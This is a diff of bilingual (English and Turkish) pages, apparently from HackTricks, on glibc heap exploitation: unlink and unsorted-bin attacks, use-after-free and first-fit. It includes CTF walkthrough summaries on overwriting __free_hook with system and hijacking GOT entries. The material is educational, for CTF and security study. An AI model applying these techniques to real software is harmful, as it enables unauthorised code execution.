chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
printf("%s\n", data);
return 0;
return 0;
}
```
</details>
- Attack doesn't work if tcaches are used (after 2.26)
- Saldırı, tcaches kullanıldığında çalışmaz (2.26'dan sonra)
### Goal
### Hedef
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
Bu saldırı, **bir parçanın işaretçisini kendisinden 3 adres önceki bir adrese işaret edecek şekilde değiştirmeye** olanak tanır. Eğer bu yeni konum (işaretçinin bulunduğu yerin çevresi) ilginç şeyler içeriyorsa, diğer kontrol edilebilir tahsisatlar / yığın gibi, bunları okumak/yazmak mümkün olabilir ve daha büyük bir zarar vermek için kullanılabilir.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
- Eğer bu işaretçi yığında bulunuyorsa, çünkü artık kendisinden 3 adres önceye işaret ediyor ve kullanıcı bunu okuyup değiştirebiliyorsa, yığından hassas bilgileri sızdırmak veya hatta dönüş adresini (belki) canary'e dokunmadan değiştirmek mümkün olacaktır.
- CTF örneklerinde, bu işaretçi diğer tahsisatlara işaret eden bir işaretçi dizisinde yer almaktadır, bu nedenle, 3 adres önceye işaret edecek şekilde ayarlandığında ve okunup yazılabildiğinde, diğer işaretçilerin başka adreslere işaret etmesi sağlanabilir.\
Kullanıcı diğer tahsisatları da okuyup/yazabildiğinden, bilgi sızdırabilir veya rastgele konumlarda yeni adresleri yazabilir (örneğin GOT'ta).
### Requirements
### Gereksinimler
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
- Stack leak in order to set the pointers of the fake chunk.
- Bazı kontrolün olduğu bir bellek (örneğin yığın) ile bazı özelliklere değerler vererek birkaç parça oluşturmak.
- Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı.
### Attack
### Saldırı
- There are a couple of chunks (chunk1 and chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2.
- In chunk1 the attacker creates the structure of a fake chunk:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
- İki parça vardır (chunk1 ve chunk2)
- Saldırgan chunk1'in içeriğini ve chunk2'nin başlıklarını kontrol eder.
- Chunk1'de saldırgan sahte bir parçanın yapısını oluşturur:
- Koruma önlemlerini aşmak için `size` alanının doğru olduğundan emin olur, böylece hata: `corrupted size vs. prev_size while consolidating` önlenir.
- ve sahte parçanın `fd` ve `bk` alanları, chunk1 işaretçisinin yığında saklandığı yere -3 ve -2 ofsetleri ile işaret edecek şekilde ayarlanır, böylece `fake_chunk->fd->bk` ve `fake_chunk->bk->fd` gerçek chunk1 adresinin bulunduğu bellek (yığın) konumuna işaret eder:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
- When the second chunk is freed then this fake chunk is unlinked happening:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
- Chunk2'nin başlıkları, önceki parçanın kullanılmadığını ve boyutun sahte parçanın içerdiği boyut olduğunu gösterecek şekilde değiştirilir.
- İkinci parça serbest bırakıldığında, bu sahte parça bağlantısı kesilir:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Daha önce `fake_chunk->fd->bk` ve `fake_chunk->bk->fd` aynı yere (chunk1'in saklandığı yığın konumu) işaret edecek şekilde ayarlanmıştı, bu nedenle geçerli bir bağlı listeydi. **Her ikisi de aynı konuma işaret ettiğinden**, yalnızca sonuncusu (`fake_chunk->bk->fd = fake_chunk->fd`) **etki** gösterecektir.
- Bu, **yığındaki chunk1 işaretçisini yığında 3 adres önce saklanan adrese (veya byte'lara) yazacak şekilde** değiştirecektir.
- Bu nedenle, bir saldırgan chunk1'in içeriğini tekrar kontrol edebilirse, **yığın içinde yazma** yeteneğine sahip olacak ve potansiyel olarak dönüş adresini atlayarak canary'i geçip yerel değişkenlerin değerlerini ve işaretlerini değiştirebilecektir. Hatta yığında saklanan chunk1 adresini, eğer saldırgan tekrar chunk1'in içeriğini kontrol edebilirse, farklı bir konuma değiştirebilir.
- Bunun mümkün olduğunu unutmayın çünkü **adresler yığında saklanmaktadır**. Risk ve istismar, **sahte parçaya işaret eden adreslerin nerede saklandığına** bağlı olabilir.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References
## Referanslar
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
- CTF'de bir unlink saldırısı bulmak garip olsa da, bu saldırının kullanıldığı bazı yazılımlar burada:
- CTF örneği: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- Bu örnekte, yığın yerine malloc edilmiş adreslerin bir dizisi vardır. Burada bir parça tahsis edebilmek için unlink saldırısı gerçekleştirilir, böylece malloc edilmiş adresler dizisinin işaretçilerini kontrol edebilmek mümkündür. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeye olanak tanıyan başka bir işlev vardır, bu da adresleri GOT'a işaret etmeye, libc sızıntısı elde etmek için işlev adreslerini değiştirmeye ve RCE'ye olanak tanır.
- Başka bir CTF örneği: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Önceki örnekte olduğu gibi, tahsisatların adreslerinin bir dizisi vardır. İlk tahsisata işaret eden adresi dizinin başlangıcından birkaç konum önceye işaret edecek şekilde bir unlink saldırısı gerçekleştirmek mümkündür ve bu tahsisi yeni konumda yazmak mümkündür. Böylece, diğer tahsisatların işaretçilerini atoi'nin GOT'una işaret edecek şekilde değiştirmek, libc sızıntısı elde etmek için yazdırmak ve ardından atoi GOT'u bir gadget adresi ile değiştirmek mümkündür.
- Unlink saldırısına çok benzer bir açığı istismar eden özel malloc ve free işlevleri ile CTF örneği: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- FD ve BK işaretçilerini kontrol etmeye olanak tanıyan bir taşma vardır. Ayrıca, yığın exec bitine sahiptir, bu nedenle bir yığın adresini sızdırmak ve GOT'tan bir işlevi bir yığın parçasına işaret etmek için bir shellcode ile çalıştırmak mümkündür.
{{#include ../../banners/hacktricks-training.md}}

88
src/binary-exploitation/libc-heap/unsorted-bin-attack.md
View File

@ -2,72 +2,72 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
For more information about what is an unsorted bin check this page:
Unsorted bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Unsorted listeler, `bk` adresine `unsorted_chunks (av)` adresini yazma yeteneğine sahiptir. Bu nedenle, bir saldırgan bir unsorted bin içindeki bir chunk'taki **`bk` işaretçisinin adresini değiştirebilirse**, bu adresi **rastgele bir adrese yazabilir** ki bu da Glibc adreslerini sızdırmak veya bazı savunmaları aşmak için faydalı olabilir.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
Yani, temelde bu saldırı, **rastgele bir adreste büyük bir sayı ayarlamaya** olanak tanır. Bu büyük sayı, bir heap adresi veya bir Glibc adresi olabilir. Tipik bir hedef, daha büyük boyutlarda hızlı binler oluşturmak için **`global_max_fast`**'tır (ve bir unsorted bin saldırısından hızlı bin saldırısına geçiş yapar).
> [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
> Örnek için [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) adresine bakarak 0x4000 ve 0x5000 kullanarak chunk boyutları olarak 0x400 ve 0x500 yerine (Tcache'den kaçınmak için) **günümüzde** **`malloc(): unsorted double linked list corrupted`** hatasının tetiklendiğini görebilirsiniz.
>
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> Bu nedenle, bu unsorted bin saldırısı artık (diğer kontroller arasında) çift bağlı listeyi düzeltme yeteneğine de ihtiyaç duyar, böylece `victim->bk->fd == victim` veya `victim->fd == av (arena)` atlanır, bu da yazmak istediğimiz adresin `fd` konumunda sahte chunk'ın adresini bulundurması ve sahte chunk'ın `fd`'sinin arenaya işaret etmesi gerektiği anlamına gelir.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> Bu saldırının unsorted bin'i bozduğunu unutmayın (bu nedenle küçük ve büyük de). Bu nedenle, artık yalnızca **hızlı binlerden tahsisat kullanabiliriz** (daha karmaşık bir program başka tahsisatlar yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsisat yapmalıyız yoksa program çöker.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> **`global_max_fast`**'ı geçersiz kılmak bu durumda yardımcı olabilir, çünkü hızlı binin tüm diğer tahsisatları exploit tamamlanana kadar yönetebileceğini varsayıyoruz.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) tarafından verilen kod bunu çok iyi açıklıyor, ancak malloc'ları yeterince büyük bir bellek tahsis etmek için değiştirirseniz, böylece Tcache'de sona ermezseniz, daha önce bahsedilen hatanın bu tekniği engellediğini görebilirsiniz: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
Bu aslında çok temel bir kavramdır. Unsorted bin'deki chunk'lar işaretçilere sahip olacaktır. Unsorted bin'deki ilk chunk aslında **`fd`** ve **`bk`** bağlantılarına **ana arenanın (Glibc)** bir kısmına işaret edecektir.\
Bu nedenle, bir chunk'ı unsorted bin içine **yerleştirip okuyabilirseniz** (use after free) veya **en az 1 işaretçiyi geçersiz kılmadan tekrar tahsis ederseniz** ve ardından **okuyabilirseniz**, bir **Glibc bilgi sızıntısı** elde edebilirsiniz.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
Bu yazımda kullanılan benzer bir [**saldırı**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 chunk yapısını (A, B, C ve D - D yalnızca üst chunk ile konsolidasyonu önlemek için) kötüye kullanmak için B'deki null byte taşmasını kullanarak C'nin B'nin kullanılmadığını belirtmesini sağladı. Ayrıca, B'deki `prev_size` verisi değiştirilerek boyut B'nin boyutu yerine A+B olarak ayarlandı.\
Sonra C serbest bırakıldı ve A+B ile konsolide edildi (ancak B hala kullanılıyordu). A boyutunda yeni bir chunk tahsis edildi ve ardından libc sızdırılan adresler B'ye yazıldı ve buradan sızdırıldı.
## References & Other examples
## Referanslar ve Diğer Örnekler
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
- Amaç, 4869'dan büyük bir değerle bir global değişkeni geçersiz kılmak, böylece bayrağı almak mümkün olur ve PIE etkin değildir.
- Rastgele boyutlarda chunk'lar oluşturmak mümkündür ve istenen boyutta bir heap taşması vardır.
- Saldırı, 3 chunk oluşturarak başlar: taşmayı kötüye kullanmak için chunk0, taşma yapılacak chunk1 ve üst chunk'un önceki chunk'larla konsolide olmaması için chunk2.
- Sonra, chunk1 serbest bırakılır ve chunk0, chunk1'in `bk` işaretçisinin işaret ettiği yere taşar: `bk = magic - 0x10`
- Ardından, chunk1 ile aynı boyutta chunk3 tahsis edilir, bu da unsorted bin saldırısını tetikleyecek ve global değişkenin değerini değiştirecektir, böylece bayrağı almak mümkün olacaktır.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Birleştirme işlevi, her iki geçirilen indeks aynı olduğunda onu yeniden tahsis edeceği ve ardından serbest bırakacağı için savunmasızdır, ancak serbest bırakılan bölgeye bir işaretçi döndürür.
- Bu nedenle, **2 chunk oluşturulur**: **chunk0** kendisiyle birleştirilecek ve üst chunk ile konsolide olmasını önlemek için chunk1. Ardından, **birleştirme işlevi chunk0 ile** iki kez çağrılır, bu da bir use after free durumuna neden olur.
- Sonra, **`view`** işlevi 2. indeksle (use after free chunk'ın indeksi) çağrılır, bu da **bir libc adresini sızdırır**.
- İkili, yalnızca **`global_max_fast`**'dan daha büyük boyutları malloc etmeye izin verecek şekilde korumalara sahip olduğundan, hızlı bin kullanılmadığı için bir unsorted bin saldırısı kullanılacak ve global değişken `global_max_fast` geçersiz kılınacaktır.
- Ardından, 2. indeksle (use after free işaretçisi) edit işlevi çağrılabilir ve `bk` işaretçisi `p64(global_max_fast-0x10)`'a işaret edecek şekilde geçersiz kılınır. Ardından, yeni bir chunk oluşturmak, daha önce tehlikeye atılmış serbest adresi (0x20) kullanacak ve **unsorted bin saldırısını tetikleyecek** ve `global_max_fast`'ı çok büyük bir değerle geçersiz kılacaktır, bu da artık hızlı binlerde chunk oluşturmayı mümkün kılacaktır.
- Şimdi bir **hızlı bin saldırısı** gerçekleştirilir:
- Öncelikle, **`__free_hook`** konumunda hızlı **200 boyutunda chunk'larla çalışmanın mümkün olduğu keşfedilir**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Bu konumda 0x200 boyutunda hızlı bir chunk elde edebilirsek, çalıştırılacak bir işlev işaretçisini geçersiz kılmak mümkün olacaktır.
- Bunun için, `0xfc` boyutunda yeni bir chunk oluşturulur ve birleştirilmiş işlev bu işaretçi ile iki kez çağrılır, bu şekilde hızlı bin içinde `0xfc*2 = 0x1f8` boyutunda serbest bir chunk'a işaret eden bir işaretçi elde ederiz.
- Ardından, bu chunk'taki edit işlevi çağrılarak bu hızlı binin **`fd`** adresi önceki **`__free_hook`** işlevine işaret edecek şekilde değiştirilir.
- Ardından, hızlı binin içinden önceki işe yaramaz chunk'ı almak için `0x1f8` boyutunda bir chunk oluşturulur, böylece **`__free_hook`** içinde bir hızlı bin chunk'ı elde etmek için `0x1f8` boyutunda başka bir chunk oluşturulur ve bu, **`system`** işlevinin adresi ile geçersiz kılınır.
- Ve nihayetinde, `/bin/sh\x00` dizesini içeren bir chunk serbest bırakılır ve delete işlevi çağrılır, bu da **`__free_hook`** işlevini tetikler ve bu işlev **`system`**'a `/bin/sh\x00` parametresi ile işaret eder.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Unsorted Bin saldırısını kötüye kullanarak bir 1B taşmasını kullanarak libc bilgi sızıntısı elde etme ve ardından malloc hook'u bir gadget adresi ile geçersiz kılma örneği.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Sadece `0x100`'den büyük boyutlarda chunk'lar tahsis edebiliriz.
- Unsorted Bin saldırısını kullanarak `global_max_fast`'ı geçersiz kılma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 bit değiştirmemiz gerekir, ancak 16 bit değiştirmeliyiz).
- Global bir chunk dizisini değiştirmek için hızlı bin saldırısı. Bu, GOT'u değiştirme ve bazı işlevleri `system`'a işaret etme yeteneği veren rastgele bir okuma/yazma ilkesidir.
{{#include ../../banners/hacktricks-training.md}}

14
src/binary-exploitation/libc-heap/use-after-free/README.md
View File

@ -1,17 +1,17 @@
# Use After Free
# Kullanımdan Sonra Serbest Bırakma
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
İsminin de belirttiği gibi, bu zafiyet bir programın **bir nesne için yığın** içinde **bir alan sakladığında**, oraya bazı bilgileri **yazdığında**, görünüşte artık gerekli olmadığı için **serbest bıraktığında** ve ardından **tekrar eriştiğinde** meydana gelir.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
Buradaki sorun, **serbest bırakılmış belleğe erişildiğinde** (bir **hata olmayacaktır**) yasal olmamasıdır. Yani, eğer program (veya saldırgan) **serbest bırakılmış belleği tahsis edip keyfi veriler saklayabilirse**, serbest bırakılmış bellek başlangıç işaretçisinden erişildiğinde **veri üzerine yazılmış olur** ve bu da **orijinal olarak saklanan verinin hassasiyetine bağlı olarak bir zafiyet oluşturur** (eğer çağrılacak bir işlevin işaretçisi ise, bir saldırgan bunu kontrol edebilir).
### First Fit attack
### İlk Uygun Saldırı
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
Check more info in:
İlk uygun saldırı, glibc gibi bazı bellek ayırıcılarının serbest bırakılmış belleği yönetme şekline yöneliktir. Bir bellek bloğunu serbest bıraktığınızda, bu bir listeye eklenir ve yeni bellek talepleri o listeden sonundan çekilir. Saldırganlar, **hangi bellek bloklarının yeniden kullanıldığını manipüle etmek için bu davranışı kullanabilir, bu da onlara kontrol kazandırabilir**. Bu, bir saldırganın **yeniden tahsis edilen belleğin içeriğini değiştirebileceği** "kullanımdan sonra serbest bırakma" sorunlarına yol açabilir, bu da bir güvenlik riski oluşturur.\
Daha fazla bilgi için kontrol edin:
{{#ref}}
first-fit.md

48
src/binary-exploitation/libc-heap/use-after-free/first-fit.md
View File

@ -1,39 +1,36 @@
# First Fit
# İlk Uygun
{{#include ../../../banners/hacktricks-training.md}}
## **First Fit**
## **İlk Uygun**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
glibc kullanarak bir programda bellek serbest bıraktığınızda, bellek parçalarını yönetmek için farklı "kutular" kullanılır. İşte iki yaygın senaryonun basitleştirilmiş bir açıklaması: sıralanmamış kutular ve hızlı kutular.
### Unsorted Bins
### Sıralanmamış Kutular
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
Hızlı bir parça olmayan bir bellek parçasını serbest bıraktığınızda, bu sıralanmamış kutuya gider. Bu kutu, yeni serbest bırakılan parçaların ön tarafa (baş) eklendiği bir liste gibi davranır. Yeni bir bellek parçası talep ettiğinizde, allocator sıralanmamış kutuya arka taraftan (kuyruk) bakarak yeterince büyük bir parça bulmaya çalışır. Sıralanmamış kutudan bir parça, ihtiyacınız olandan büyükse, bu parça bölünür; ön kısım geri döner ve kalan kısım kutuda kalır.
Example:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
Örnek:
- 300 bayt (`a`) ayırırsınız, ardından 250 bayt (`b`), `a`yı serbest bırakırsınız ve tekrar 250 bayt (`c`) talep edersiniz.
- `a`yı serbest bıraktığınızda, bu sıralanmamış kutuya gider.
- Eğer sonra tekrar 250 bayt talep ederseniz, allocator `a`yı kuyrukta bulur ve onu böler, talebinize uyan kısmı geri döner ve geri kalanını kutuda tutar.
- `c`, önceki `a`ya işaret edecek ve `a` ile doldurulacaktır.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
Fastbins, küçük bellek parçaları için kullanılır. Sıralanmamış kutuların aksine, fastbins yeni parçaları başa ekler, bu da son giren ilk çıkar (LIFO) davranışı oluşturur. Küçük bir bellek parçası talep ettiğinizde, ayırıcı fastbin'in başından alır.
Example:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
Örnek:
- Dört adet 20 baytlık parça ayırırsınız (`a`, `b`, `c`, `d`).
- Onları herhangi bir sırayla serbest bıraktığınızda, serbest bırakılan parçalar fastbin'in başına eklenir.
